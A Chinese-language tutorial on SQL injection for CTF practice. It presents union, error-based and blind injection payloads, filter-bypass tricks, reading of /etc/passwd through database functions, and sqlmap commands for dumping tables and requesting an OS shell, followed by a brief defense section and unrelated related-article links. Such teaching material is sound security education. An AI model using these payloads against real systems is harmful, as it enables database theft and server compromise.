SQL注入(SQL Injection)详解与实战

文章目录

    • 一、什么是SQL注入?
    • 二、常见SQL注入类型
    • 三、手动注入步骤(以CTF题目为例)
    • 四、CTF实战技巧
    • 五、自动化工具:SQLMap
    • 六、防御措施
    • 七、CTF例题
    • 八、资源推荐

一、什么是SQL注入?

SQL注入是一种通过用户输入构造恶意SQL语句,干扰后端数据库查询逻辑的攻击方式。攻击者可通过注入获取敏感数据、篡改数据库或执行系统命令。


二、常见SQL注入类型

  1. 联合查询注入(Union-Based)
    利用UNION SELECT拼接查询结果,直接回显数据。

    ' UNION SELECT username, password FROM users--

  2. 报错注入(Error-Based)
    通过触发数据库报错泄露信息(如MySQL的updatexmlextractvalue)。

    ' AND updatexml(1, concat(0x7e, (SELECT user())), 1)--

  3. 布尔盲注(Boolean-Based Blind)
    通过页面返回的真假状态推断数据(如返回内容差异或HTTP状态码)。

    ' AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='a'--

  4. 时间盲注(Time-Based Blind)
    通过延时响应判断条件是否成立(如MySQL的sleep())。

    ' AND IF(1=1, SLEEP(5), 0)--


三、手动注入步骤(以CTF题目为例)

  1. 检测注入点

    • 输入单引号'触发数据库错误(如You have an error in your SQL syntax)。

    • 测试逻辑条件:

      id=1' AND 1=1-- (页面正常) id=1' AND 1=2-- (页面异常)

  2. 确定字段数(ORDER BY)

    ' ORDER BY 3-- (无报错) ' ORDER BY 4-- (报错→字段数为3)

  3. 联合查询获取数据

    ' UNION SELECT 1,2,3-- (确定回显位) ' UNION SELECT database(), user(), version()--

  4. 提取表名与列名

    ' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()-- ' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users'--

  5. 获取敏感数据

    ' UNION SELECT 1, username, password FROM users--


四、CTF实战技巧

  1. 绕过过滤

    • 大小写绕过UnIoN SeLeCt(部分过滤器不区分大小写)。
    • 注释符-- (空格)、#/*...*/
    • 编码绕过:URL编码(%27代替')、十六进制(0x...)。
    • 空格绕过:用/**/+代替空格(如UNION/**/SELECT)。
  2. 利用字符串拼接

    • MySQL:'||'1'='1'' OR '1'='1
    • SQLite:'||1=1--
  3. 利用数据库特性

    • MySQLLOAD_FILE('/etc/passwd')读取文件。
    • PostgreSQLpg_read_file('/etc/passwd')
    • SQLitesqlite_version()获取版本。

五、自动化工具:SQLMap

  1. 基本用法

    sqlmap -u "http://target.com/page?id=1" --dbs # 获取所有数据库名 sqlmap -u "http://target.com/page?id=1" -D dbname --tables # 获取表名 sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump # 导出数据

  2. 高级参数

    • --level=3:提高检测等级(包含Cookie注入)。
    • --risk=3:允许高风险操作(如文件写入)。
    • --os-shell:尝试获取系统Shell(需高权限)。

六、防御措施

  1. 参数化查询(预编译)

    Python

    # Python示例(使用SQLAlchemy) result = db.session.execute('SELECT * FROM users WHERE id = :id', {'id': user_id})

  2. 输入过滤

    • 过滤特殊字符(' " ; --)。
    • 限制输入类型(如数字类型强制转换为整数)。
  3. 最小权限原则

    • 数据库用户仅授予必要权限(禁止FILEEXECUTE等)。

七、CTF例题

  1. 题目:登录页面存在SQL注入,获取管理员密码。

    SQL

    ' OR 1=1 -- ' UNION SELECT null, password FROM users WHERE username='admin'--

  2. 题目:过滤了空格和UNION,利用盲注获取数据。

    SQL

    '||(SELECT CASE WHEN (SUBSTR(password,1,1)='a') THEN SLEEP(5) ELSE 0 END FROM users)#


八、资源推荐

  • 练习平台
    • PortSwigger SQLi Labs(https://portswigger.net/web-security/sql-injection)
    • SQLi Labs(GitHub开源靶场)
  • 深入阅读
    • 《SQL注入攻击与防御(第2版)》
    • OWASP SQL Injection Cheat Sheet

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/972289.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

网络安全推荐的视频教程 网络安全系列

第一章 网络安全概述 1.2.1 网络安全概念P4 网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不因偶然的或恶意的原因而遭到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。 1.2.3 网络安全的种类P5 (1…

内网下,Ubuntu (24.10) 离线安装docker最新版教程

一般在数据比较敏感的情况下,是无法使用网络的,而对于Ubuntu系统来说,怎么离线安装docker呢? 下面我给大家来讲一下: 采用二进制安装: 1.下载docker离线包 官网下载: Index of linux/static…

基于SpringBoot+Vue的老年人体检管理系统的设计与实现(源码+SQL脚本+LW+部署讲解等)

专注于大学生项目实战开发,讲解,毕业答疑辅导,欢迎高校老师/同行前辈交流合作✌。 技术范围:SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:…

AI工具篇:利用DeepSeek+Kimi 辅助生成综述汇报PPT

随着科研和学术报告需求的增加,如何高效地准备一份结构清晰、内容充实的PPT已成为许多研究者的挑战。 传统的PPT制作过程繁琐,需要大量文献收集、数据分析和设计工作,而AI工具能够帮助提升效率,减少重复劳动。 本文将介绍如何使用…

【Spring详解一】Spring整体架构和环境搭建

一、Spring整体架构和环境搭建 1.1 Spring的整体架构 Spring框架是一个分层架构,包含一系列功能要素,被分为大约20个模块 Spring核心容器:包含Core、Bean、Context、Expression Language模块 Core :其他组件的基本核心&#xff…

为什么WP建站更适合于谷歌SEO优化?

在当今数字时代,建立一个网站似乎变得容易,但要构建一个真正能够带来流量和订单的网站却并非易事。特别是在谷歌SEO优化方面,不同的建站程序在SEO支持方面的效果差异显著。对于希望提升搜索引擎表现的用户来说,WordPress无疑是最佳…

Vue 项目中逐步引入 TypeScript 的类型检查

在现有的 Vue 项目中逐步引入 TypeScript 的类型检查 本文源于一道面试题:注:两种问法一个意思哈!! 问题一:“ 老项目Js写的,如何轻量方式享受 ts 类型?” 问题二:“如何 在现有的 …

win10系统上的虚拟机安装麒麟V10系统提示找不到操作系统

目录预览 一、问题描述二、原因分析三、解决方案四、参考链接 一、问题描述 win10系统上的虚拟机安装麒麟V10系统提示找不到操作系统,报错:Operating System not found 二、原因分析 国产系统,需要注意的点: 需要看你的系统类…

Spring中Bean的四种实例化方法

Bean的四种实例化方法 Bean是Spring核心的概念,另外一个核心的概念是AOP。官网上,Bean的解释是: In Spring, the objects that form the backbone of your application and that are managed by the Spring IoC container are called beans…

聚焦工控物联网网关

一、引言 在工业物联网高速发展的当下,工控物联网网关作为连接工业现场设备与上层管理系统、云平台的关键组件,其兼容性与可扩展性至关重要。工业生产新技术、新设备不断涌现,企业数字化转型需求持续增长,网关的适配与扩展能力直…

李宏毅机器学习笔记:【6.Optimization、Adaptive Learning Rate】

Optimization 1.Adaptive Learning Rate2.不同的参数需要不同的学习率3.Root Mean Square4.RMSProp5.Adam6.learning rate scheduling7.warm up总结 critical point不一定是你在训练一个network时候遇到的最大的障碍。 1.Adaptive Learning Rate 也就是我们要给每个参数不同的…

Redis7——基础篇(三)

前言:此篇文章系本人学习过程中记录下来的笔记,里面难免会有不少欠缺的地方,诚心期待大家多多给予指教。 基础篇: Redis(一)Redis(二) 接上期内容:上期完成了Redis的基本…

[LeetCode]day25 151.翻转字符串里的单词

题目链接 题目链接 给你一个字符串 s ,请你反转字符串中 单词 的顺序。 单词 是由非空格字符组成的字符串。s 中使用至少一个空格将字符串中的 单词 分隔开。 返回 单词 顺序颠倒且 单词 之间用单个空格连接的结果字符串。 注意:输入字符串 s中可能…

Visual Studio Code的下载安装与汉化

1.下载安装 Visual Studio Code的下载安装十分简单,在本电脑的应用商店直接下载安装----注意这是社区版-----一般社区版就足够用了---另外注意更改安装地址 2.下载插件 重启后就是中文版本了

华为昇腾 910B 部署 DeepSeek-R1 蒸馏系列模型详细指南

本文记录 在 华为昇腾 910B(65GB) * 8 上 部署 DeepSeekR1 蒸馏系列模型(14B、32B)全过程与测试结果。 NPU:910B3 (65GB) * 8 (910B 有三个版本 910B1、2、3) 模型:DeepSeek-R1-Distill-Qwen-14B、DeepSeek…

【MySQL排错 】mysql: command not found 数据库安装后无法加载的解决办法

【MySQL排错 】mysql: command not found 数据库安装后无法加载的解决办法 A Solution to Solve Error - mysql: command not found After The Installation of MySQL Community Server By JacksonML 本文简要介绍如何在macOS安装完毕MySQL数据库服务器后,针对无…

Spring-GPT智谱清言AI项目(附源码)

一、项目介绍 本项目是Spring AI第三方调用整合智谱请言(官网是:https://open.bigmodel.cn)的案例,回答响应流式输出显示,这里使用的是免费模型,需要其他模型可以去 https://www.bigmodel.cn/pricing 切换…

用deepseek学大模型08-卷积神经网络(CNN)

yuanbao.tencent.com 从入门到精通卷积神经网络(CNN),着重介绍的目标函数,损失函数,梯度下降 标量和矩阵形式的数学推导,pytorch真实能跑的代码案例以及模型,数据,预测结果的可视化展示, 模型应用场景和优缺点&#xf…

deepseek-v3在阿里云和腾讯云的使用中的差异

随着deepseek在各大云商上线,试用了下阿里云和腾讯云的deepseek服务,在回答经典数学问题9.9和9.11谁大时,发现还是有差异的。将相关的问题记录如下。 1、问题表现 笔者使用的openai的官方sdk go-openai。 因本文中测验主要使用阿里云和腾讯…

React 与 Vue 对比指南 - 上

React 与 Vue 对比指南 - 上 本文将展示如何在 React 和 Vue 中实现常见功能&#xff0c;从基础渲染到高级状态管理 Hello 分别使用 react 和 vue 写一个 Hello World&#xff01; react export default () > {return <div>Hello World!</div>; }vue <…